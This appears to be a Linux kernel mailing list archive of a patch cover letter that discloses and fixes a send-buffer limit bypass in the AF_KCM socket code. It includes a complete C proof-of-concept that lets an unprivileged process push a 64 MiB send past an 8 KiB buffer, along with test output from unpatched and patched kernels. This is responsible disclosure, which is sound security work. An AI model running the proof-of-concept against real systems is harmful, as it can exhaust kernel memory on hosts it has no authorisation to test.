From: Zihan Xi <zihanx@nebusec.ai>
To: netdev@vger.kernel.org
Cc: davem@davemloft.net, edumazet@kernel.org, pabeni@redhat.com,
willemb@google.com, horms@kernel.org, brauner@kernel.org,
runyu.xiao@seu.edu.cn, jiayuan.chen@shopee.com,
leitao@debian.org, rjethwani@purestorage.com,
tom@herbertland.com, vega@nebusec.ai, zihanx@nebusec.ai
Subject: [PATCH net 0/1] kcm: enforce per-socket send buffer limit
Date: Thu, 26 Nov 2026 08:25:15 +0000 [thread overview]
Message-ID: <cover.1795676623.git.zihanx@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found a send-buffer limit bypass in net/kcm/kcmsock.c.
A non-root process can reach it through AF_KCM; no TCP
attachment or BPF program is required. The relevant details
follow.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/12034 (12034)
Bug details:
kcm_sendmsg() checks sk_stream_memory_free() once before its
copy loop. A send is then copied in page-fragment chunks without
checking the remaining socket send space. On the selected
baseline, a 64 MiB first send succeeded with an effective
SO_SNDBUF of 8192 bytes; a following one-byte send returned
EAGAIN. The patch bounds each copy/splice chunk by current
sk_stream_wspace(), rejects messages that cannot fit, and rolls
back accounting when a SOCK_DGRAM partial message is discarded.
This fixes the per-socket send-buffer limit; it does not add
protocol-wide aggregate accounting across KCM sockets.
Reproducer:
Compile and run as an unprivileged user in a 2-vCPU, 2-GB x86
QEMU guest with CONFIG_AF_KCM enabled:
gcc -O2 -Wall -Wextra -o kcm-mini-poc mini_poc.c
./kcm-mini-poc
On baseline c5de2ce2fccd, the unprivileged run produced:
requested_sndbuf=4096 actual_sndbuf=8192 payload=67108864 first_send=67108864
second_send=-1 (Resource temporarily unavailable)
On patched commit bba17216, the same probe produced:
requested_sndbuf=4096 actual_sndbuf=8192 payload=67108864 first_send=-1 (Message too long)
second_send=1
Additional unprivileged edge tests: an 8192-byte DGRAM message was accepted
on both kernels; an 8193-byte message was accepted on baseline and rejected
with EMSGSIZE after the patch. DGRAM MSG_MORE and SEQPACKET partial-message
over-limit continuations were accepted on baseline but rejected after the
patch; a following small send succeeded after the patched DGRAM rollback and
SEQPACKET partial preservation. With 6144 bytes already queued, a 4096-byte
splice was accepted on baseline despite only 2048 bytes remaining; the patched
kernel returned EAGAIN and accepted a later 2048-byte send after rollback.
We run the PoC in a 2-vCPU, 2-GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>
#ifndef AF_KCM
#define AF_KCM 41
#endif
#ifndef KCMPROTO_CONNECTED
#define KCMPROTO_CONNECTED 0
#endif
int main(void)
{
const size_t size = 64 * 1024 * 1024;
int sndbuf = 4096, actual, fd;
char byte = 'x';
char *buf;
ssize_t sent;
fd = socket(AF_KCM, SOCK_DGRAM, KCMPROTO_CONNECTED);
if (fd < 0) {
perror("socket(AF_KCM)");
return 1;
}
if (setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf))) {
perror("setsockopt(SO_SNDBUF)");
return 1;
}
if (getsockopt(fd, SOL_SOCKET, SO_SNDBUF, &actual,
&(socklen_t){ sizeof(actual) })) {
perror("getsockopt(SO_SNDBUF)");
return 1;
}
buf = mmap(NULL, size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) {
perror("mmap");
return 1;
}
memset(buf, 'x', size);
sent = send(fd, buf, size, MSG_DONTWAIT);
printf("requested_sndbuf=%d actual_sndbuf=%d payload=%zu first_send=%zd",
sndbuf, actual, size, sent);
if (sent < 0)
printf(" (%s)", strerror(errno));
putchar('\n');
errno = 0;
sent = send(fd, &byte, sizeof(byte), MSG_DONTWAIT);
printf("second_send=%zd", sent);
if (sent < 0)
printf(" (%s)", strerror(errno));
putchar('\n');
close(fd);
munmap(buf, size);
return 0;
}
------END PoC--------
Best regards,
Zihan Xi
Zihan Xi (1):
net: kcm: check sndbuf space while building a message
net/kcm/kcmsock.c | 43 +++++++++++++++++++++++++++++++++++++++++--
1 file changed, 41 insertions(+), 2 deletions(-)
--
2.43.0
next reply other threads:[~2026-11-26 8:25 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-11-26 8:25 Zihan Xi [this message]
2026-11-26 8:25 ` [PATCH net 1/1] net: kcm: check sndbuf space while building a message Zihan Xi
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1795676623.git.zihanx@nebusec.ai \
--to=zihanx@nebusec.ai \
--cc=brauner@kernel.org \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=jiayuan.chen@shopee.com \
--cc=leitao@debian.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=rjethwani@purestorage.com \
--cc=runyu.xiao@seu.edu.cn \
--cc=tom@herbertland.com \
--cc=vega@nebusec.ai \
--cc=willemb@google.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox